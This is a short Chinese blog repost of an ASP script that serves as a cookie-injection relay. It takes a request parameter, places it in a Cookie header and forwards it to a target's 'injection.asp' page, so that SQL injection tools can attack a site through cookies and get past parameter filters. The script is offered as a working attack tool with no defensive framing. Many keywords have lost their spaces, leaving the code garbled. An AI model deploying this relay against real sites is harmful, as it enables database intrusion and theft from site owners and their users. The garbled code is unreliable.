来源：职业欠钱&zj1244共用的publicBlog

复制代码 代码如下:

<%

Str="xxxid="&escape(request("FK"))

Url="http://xxx.chinaxxx.com/injection.asp"

response.writePostData(Url,Str)

FunctionPostData(PostUrl,PostCok)

DimHttp

SetHttp=Server.CreateObject("msxml2.serverXMLHTTP")

WithHttp

.Open"GET",PostUrl,False

.SetRequestHeader"Cookie",PostCok

.Send

PostData=.ResponseBody

EndWith

SetHttp=Nothing

PostData=bytes2BSTR(PostData)

EndFunction

Functionbytes2BSTR(vIn)

DimstrReturn

DimI,ThisCharCode,NextCharCode

strReturn=""

ForI=1ToLenB(vIn)

ThisCharCode=AscB(MidB(vIn,I,1))

IfThisCharCode<&H80Then

strReturn=strReturn&Chr(ThisCharCode)

Else

NextCharCode=AscB(MidB(vIn,I+1,1))

strReturn=strReturn&Chr(CLng(ThisCharCode)*&H100+CInt(NextCharCode))

I=I+1

EndIf

Next

bytes2BSTR=strReturn

EndFunction

%>